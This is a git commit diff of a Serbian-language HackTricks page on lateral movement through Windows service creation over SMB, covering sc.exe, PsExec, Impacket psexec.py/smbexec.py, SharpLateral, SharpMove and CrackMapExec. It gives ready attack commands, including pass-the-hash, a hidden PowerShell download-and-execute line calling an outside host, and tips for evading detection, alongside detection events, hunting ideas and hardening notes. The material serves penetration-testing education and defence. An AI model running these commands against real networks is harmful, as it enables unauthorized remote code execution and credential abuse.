Translated ['src/windows-hardening/lateral-movement/psexec-and-winexec.m

This commit is contained in:
Translator 2025-08-18 14:17:21 +00:00
parent cba5234fd2
commit e43de8fce5

View File

@ -4,46 +4,147 @@
## Kako funkcionišu ## Kako funkcionišu
Proces je opisan u koracima ispod, ilustrujući kako se binarni fajlovi servisa manipulišu da bi se postigla daljinska izvršenja na ciljnim mašinama putem SMB: Ove tehnike zloupotrebljavaju Windows Service Control Manager (SCM) na daljinu preko SMB/RPC da izvrše komande na ciljanom hostu. Uobičajeni tok je:
1. **Kopiranje binarnog fajla servisa na ADMIN$ share preko SMB** se vrši. 1. Autentifikujte se na cilj i pristupite ADMIN$ deljenju preko SMB (TCP/445).
2. **Kreiranje servisa na udaljenoj mašini** se vrši upućivanjem na binarni fajl. 2. Kopirajte izvršni fajl ili navedite LOLBAS komandnu liniju koju će servis izvršiti.
3. Servis se **pokreće daljinski**. 3. Kreirajte servis na daljinu putem SCM (MS-SCMR preko \PIPE\svcctl) koji pokazuje na tu komandu ili binarni fajl.
4. Po izlasku, servis se **zaustavlja, a binarni fajl se briše**. 4. Pokrenite servis da izvrši payload i opcionalno uhvatite stdin/stdout putem imenovane cevi.
5. Zaustavite servis i očistite (obrišite servis i sve preuzete binarne fajlove).
### **Proces ručnog izvršavanja PsExec** Zahtevi/preduslovi:
- Lokalni administrator na cilju (SeCreateServicePrivilege) ili eksplicitna prava za kreiranje servisa na cilju.
- SMB (445) dostupan i ADMIN$ deljenje dostupno; Udaljeno upravljanje servisima dozvoljeno kroz firewall hosta.
- UAC udaljena ograničenja: sa lokalnim nalozima, filtriranje tokena može blokirati admin pristup preko mreže osim ako se koristi ugrađeni Administrator ili LocalAccountTokenFilterPolicy=1.
- Kerberos vs NTLM: korišćenje imena hosta/FQDN omogućava Kerberos; povezivanje putem IP adrese često se vraća na NTLM (i može biti blokirano u učvršćenim okruženjima).
Pretpostavljajući da postoji izvršni payload (napravljen sa msfvenom i obfuskiran koristeći Veil da bi izbegao detekciju antivirusnog softvera), nazvan 'met8888.exe', koji predstavlja meterpreter reverse_http payload, sledeći koraci se preduzimaju: ### Ručni ScExec/WinExec putem sc.exe
- **Kopiranje binarnog fajla**: Izvršni fajl se kopira na ADMIN$ share iz komandne linije, iako može biti postavljen bilo gde na fajl sistemu da bi ostao skriven. Sledeće prikazuje minimalni pristup kreiranju servisa. Slika servisa može biti preuzeti EXE ili LOLBAS kao što su cmd.exe ili powershell.exe.
- Umesto kopiranja binarnog fajla, takođe je moguće koristiti LOLBAS binarni fajl kao što je `powershell.exe` ili `cmd.exe` da se izvrše komande direktno iz argumenata. Npr. `sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]"` ```cmd
- **Kreiranje servisa**: Korišćenjem Windows `sc` komande, koja omogućava upit, kreiranje i brisanje Windows servisa daljinski, kreira se servis nazvan "meterpreter" koji upućuje na otpremljeni binarni fajl. :: Execute a one-liner without dropping a binary
- **Pokretanje servisa**: Poslednji korak uključuje pokretanje servisa, što će verovatno rezultirati "time-out" greškom zbog toga što binarni fajl nije pravi binarni fajl servisa i ne uspeva da vrati očekivani kod odgovora. Ova greška je beznačajna jer je primarni cilj izvršenje binarnog fajla. sc.exe \\TARGET create HTSvc binPath= "cmd.exe /c whoami > C:\\Windows\\Temp\\o.txt" start= demand
sc.exe \\TARGET start HTSvc
sc.exe \\TARGET delete HTSvc
Posmatranje Metasploit slušatelja će otkriti da je sesija uspešno započeta. :: Drop a payload to ADMIN$ and execute it (example path)
copy payload.exe \\TARGET\ADMIN$\Temp\payload.exe
[Saznajte više o `sc` komandi](https://technet.microsoft.com/en-us/library/bb490995.aspx). sc.exe \\TARGET create HTSvc binPath= "C:\\Windows\\Temp\\payload.exe" start= demand
sc.exe \\TARGET start HTSvc
Pronađite detaljnije korake u: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) sc.exe \\TARGET delete HTSvc
- Takođe možete koristiti **Windows Sysinternals binarni fajl PsExec.exe**:
![](<../../images/image (928).png>)
Ili mu pristupiti putem webddav:
```bash
\\live.sysinternals.com\tools\PsExec64.exe -accepteula
``` ```
- Takođe možete koristiti [**SharpLateral**](https://github.com/mertdas/SharpLateral): Napomene:
- Očekujte grešku vremenskog ograničenja prilikom pokretanja EXE-a koji nije servis; izvršenje se i dalje dešava.
- Da biste ostali više OPSEC-prijateljski, preferirajte komande bez datoteka (cmd /c, powershell -enc) ili obrišite preuzete artefakte.
Pronađite detaljnije korake na: https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/
## Alati i primeri
### Sysinternals PsExec.exe
- Klasičan alat za administraciju koji koristi SMB za preuzimanje PSEXESVC.exe u ADMIN$, instalira privremenu uslugu (podrazumevano ime PSEXESVC) i proksira I/O preko imenovanih cevi.
- Primeri korišćenja:
```cmd
:: Interactive SYSTEM shell on remote host
PsExec64.exe -accepteula \\HOST -s -i cmd.exe
:: Run a command as a specific domain user
PsExec64.exe -accepteula \\HOST -u DOMAIN\user -p 'Passw0rd!' cmd.exe /c whoami /all
:: Customize the service name for OPSEC (-r)
PsExec64.exe -accepteula \\HOST -r WinSvc$ -s cmd.exe /c ipconfig
```
- Možete pokrenuti direktno sa Sysinternals Live putem WebDAV:
```cmd
\\live.sysinternals.com\tools\PsExec64.exe -accepteula \\HOST -s cmd.exe /c whoami
```
OPSEC
- Ostavlja događaje instalacije/deinstalacije servisa (Ime servisa često PSEXESVC osim ako nije korišćena opcija -r) i kreira C:\Windows\PSEXESVC.exe tokom izvršavanja.
### Impacket psexec.py (slično PsExec-u)
- Koristi ugrađenu uslugu sličnu RemCom-u. Postavlja privremeni binarni fajl servisa (obično sa nasumičnim imenom) putem ADMIN$, kreira servis (podrazumevano često RemComSvc) i prosleđuje I/O preko imenovane cevi.
```bash ```bash
# Password auth
psexec.py DOMAIN/user:Password@HOST cmd.exe
# Pass-the-Hash
psexec.py -hashes LMHASH:NTHASH DOMAIN/user@HOST cmd.exe
# Kerberos (use tickets in KRB5CCNAME)
psexec.py -k -no-pass -dc-ip 10.0.0.10 DOMAIN/user@host.domain.local cmd.exe
# Change service name and output encoding
psexec.py -service-name HTSvc -codec utf-8 DOMAIN/user:Password@HOST powershell -nop -w hidden -c "iwr http://10.10.10.1/a.ps1|iex"
```
Artifacts
- Privremeni EXE u C:\Windows\ (nasumičnih 8 karaktera). Ime servisa podrazumevano je RemComSvc osim ako nije promenjeno.
### Impacket smbexec.py (SMBExec)
- Kreira privremenu uslugu koja pokreće cmd.exe i koristi imenovanu cev za I/O. Generalno izbegava ispuštanje pune EXE korisničke datoteke; izvršavanje komandi je polu-interaktivno.
```bash
smbexec.py DOMAIN/user:Password@HOST
smbexec.py -hashes LMHASH:NTHASH DOMAIN/user@HOST
```
### SharpLateral i SharpMove
- [SharpLateral](https://github.com/mertdas/SharpLateral) (C#) implementira nekoliko metoda lateralnog kretanja uključujući izvršavanje zasnovano na servisima.
```cmd
SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
``` ```
- Takođe možete koristiti [**SharpMove**](https://github.com/0xthirteen/SharpMove): - [SharpMove](https://github.com/0xthirteen/SharpMove) uključuje modifikaciju/kreiranje servisa za izvršavanje komande na daljinu.
```bash ```cmd
SharpMove.exe action=modsvc computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true servicename=TestService SharpMove.exe action=modsvc computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true servicename=TestService
SharpMove.exe action=startservice computername=remote.host.local servicename=TestService SharpMove.exe action=startservice computername=remote.host.local servicename=TestService
``` ```
- Takođe možete koristiti **Impacketov `psexec` i `smbexec.py`**. - Možete takođe koristiti CrackMapExec za izvršavanje putem različitih backend-a (psexec/smbexec/wmiexec):
```bash
cme smb HOST -u USER -p PASS -x "whoami" --exec-method psexec
cme smb HOST -u USER -H NTHASH -x "ipconfig /all" --exec-method smbexec
```
## OPSEC, detekcija i artefakti
Tipični host/network artefakti prilikom korišćenja PsExec-sličnih tehnika:
- Security 4624 (Logon Type 3) i 4672 (Special Privileges) na cilju za admin nalog koji se koristi.
- Security 5140/5145 File Share i File Share Detailed događaji koji prikazuju ADMIN$ pristup i kreiranje/pisanje servisnih binarnih fajlova (npr., PSEXESVC.exe ili nasumični 8-znamenkasti .exe).
- Security 7045 Service Install na cilju: imena servisa kao što su PSEXESVC, RemComSvc, ili prilagođeni (-r / -service-name).
- Sysmon 1 (Process Create) za services.exe ili sliku servisa, 3 (Network Connect), 11 (File Create) u C:\Windows\, 17/18 (Pipe Created/Connected) za cevi kao što su \\.\pipe\psexesvc, \\.\pipe\remcom_*, ili nasumične ekvivalente.
- Registry artefakt za Sysinternals EULA: HKCU\Software\Sysinternals\PsExec\EulaAccepted=0x1 na hostu operatera (ako nije potisnuto).
Ideje za lov
- Upozorenje na instalacije servisa gde ImagePath uključuje cmd.exe /c, powershell.exe, ili TEMP lokacije.
- Tražiti kreacije procesa gde je ParentImage C:\Windows\PSEXESVC.exe ili deca services.exe koja se izvršavaju kao LOCAL SYSTEM pokrećući shell-ove.
- Obeležiti imenovane cevi koje se završavaju sa -stdin/-stdout/-stderr ili poznatim imenima cevi PsExec klonova.
## Rešavanje uobičajenih grešaka
- Pristup je odbijen (5) prilikom kreiranja servisa: nije pravi lokalni admin, UAC udaljena ograničenja za lokalne naloge, ili EDR zaštita od manipulacije na putanji servisnog binarnog fajla.
- Mrežni put nije pronađen (53) ili nije moglo da se poveže na ADMIN$: vatrozid blokira SMB/RPC ili su admin deljenja onemogućena.
- Kerberos ne uspeva, ali NTLM je blokiran: povežite se koristeći hostname/FQDN (ne IP), osigurajte ispravne SPN-ove, ili obezbedite -k/-no-pass sa tiketima prilikom korišćenja Impacket-a.
- Početak servisa ističe, ali payload je izvršen: očekivano ako nije pravi servisni binarni fajl; snimite izlaz u fajl ili koristite smbexec za live I/O.
## Beleške o učvršćivanju (moderne promene)
- Windows 11 24H2 i Windows Server 2025 zahtevaju SMB potpisivanje po defaultu za odlazne (i Windows 11 dolazne) veze. Ovo ne prekida legitimnu upotrebu PsExec-a sa validnim kredencijalima, ali sprečava zloupotrebu nesigniranog SMB relaya i može uticati na uređaje koji ne podržavaju potpisivanje.
- Novi SMB klijent NTLM blokiranje (Windows 11 24H2/Server 2025) može sprečiti NTLM fallback prilikom povezivanja putem IP-a ili na ne-Kerberos servere. U učvršćenim okruženjima ovo će prekinuti NTLM-bazirani PsExec/SMBExec; koristite Kerberos (hostname/FQDN) ili konfigurišite izuzetke ako je legitimno potrebno.
- Princip minimalnih privilegija: minimizujte članstvo lokalnog admina, preferirajte Just-in-Time/Just-Enough Admin, sprovodite LAPS, i pratite/upalite upozorenja na 7045 instalacije servisa.
## Takođe pogledajte
- WMI-bazirani udaljeni exec (često više bezfajlovni):
{{#ref}}
lateral-movement/wmiexec.md
{{#endref}}
- WinRM-bazirani udaljeni exec:
{{#ref}}
lateral-movement/winrm.md
{{#endref}}
## Reference
- PsExec - Sysinternals | Microsoft Learn: https://learn.microsoft.com/sysinternals/downloads/psexec
- SMB sigurnosno učvršćivanje u Windows Server 2025 & Windows 11 (potpisivanje po defaultu, NTLM blokiranje): https://techcommunity.microsoft.com/blog/filecab/smb-security-hardening-in-windows-server-2025--windows-11/4226591
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}